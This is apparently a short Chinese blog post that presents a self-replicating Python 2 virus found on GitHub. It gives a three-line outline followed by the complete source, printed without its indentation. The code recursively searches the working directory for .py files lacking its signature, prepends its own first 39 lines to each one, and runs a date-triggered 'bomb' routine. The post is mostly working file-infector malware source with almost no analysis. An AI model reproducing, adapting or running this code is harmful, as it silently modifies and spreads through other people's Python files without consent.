python病毒
2024-09-03 17:54:48
介绍
今天碰到一个有趣的python病毒,在这里https://github.com/cranklin/Python-Virus/blob/master/pythonvirus.py#L37
源码
分为3个部分
1、搜索,搜寻所有的python脚本
2、取出当前文件的前39行,也就是这个脚本的长度,然后将这个脚本写道所有找到的python脚本中去
3、其他行为
#!/usr/bin/python
import os
import datetime
SIGNATURE = "CRANKLIN PYTHON VIRUS"
def search(path):
filestoinfect = []
filelist = os.listdir(path)
for fname in filelist:
if os.path.isdir(path+"/"+fname):
filestoinfect.extend(search(path+"/"+fname))
elif fname[-3:] == ".py":
infected = False
for line in open(path+"/"+fname):
if SIGNATURE in line:
infected = True
break
if infected == False:
filestoinfect.append(path+"/"+fname)
return filestoinfect
def infect(filestoinfect):
virus = open(os.path.abspath(__file__))
virusstring = ""
for i,line in enumerate(virus):
if i>=0 and i <39:
virusstring += line
virus.close
for fname in filestoinfect:
f = open(fname)
temp = f.read()
f.close()
f = open(fname,"w")
f.write(virusstring + temp)
f.close()
def bomb():
if datetime.datetime.now().month == 1 and datetime.datetime.now().day == 25:
print "HAPPY BIRTHDAY CRANKLIN!"
filestoinfect = search(os.path.abspath(""))
infect(filestoinfect)
bomb()
最新文章
- POST方式提交表单时,后台接受实体如果继承了父类,将无法映射表单对应数据
- 非本地跳转之setjmp与longjmp
- Java数据库——连接关闭、增删改查
- PHP 递归创建目录
- linux禁ping和允许ping的方法
- Eclipse添加和查看书签
- Xcode8注释有时会失效的解决方法
- iOS Learning
- vue2.0---vue-router总结(项目基于vue-cli)
- hibernate自定义校验Valid
- Hadoop之搭建完全分布式运行模式
- Jenkins+PowerShell持续集成环境搭建(七)构建触发器
- 常见的爬虫分析库(4)-爬虫之PyQuery
- Oracle date-time
- meat标签
- CentOS7.4安装和配置zabbix4.0
- Java语法基础学习DayFifteen(IO续)
- 一劳永逸的搞定 FLEX 布局(转)
- Quartz 与 Spring集成
- 数据库——SQL中EXISTS怎么用1(转)
热门文章
- 2 - Rich feature hierarchies for accurate object detection and semantic segmentation(阅读翻译)
- Java终止线程的三种方式
- Linux设备驱动程序 之 异步通知
- Beta冲刺(1/4)
- echart itemStyle属性设置
- P4124 [CQOI2016]手机号码
- 301跳转与URL转发有什么区别
- Selenium 2自动化测试实战34(编写Web测试用例)
- [CDH] Redis: Remote Dictionary Server
- vagrant虚拟机共享目录在windows宿主下的禁忌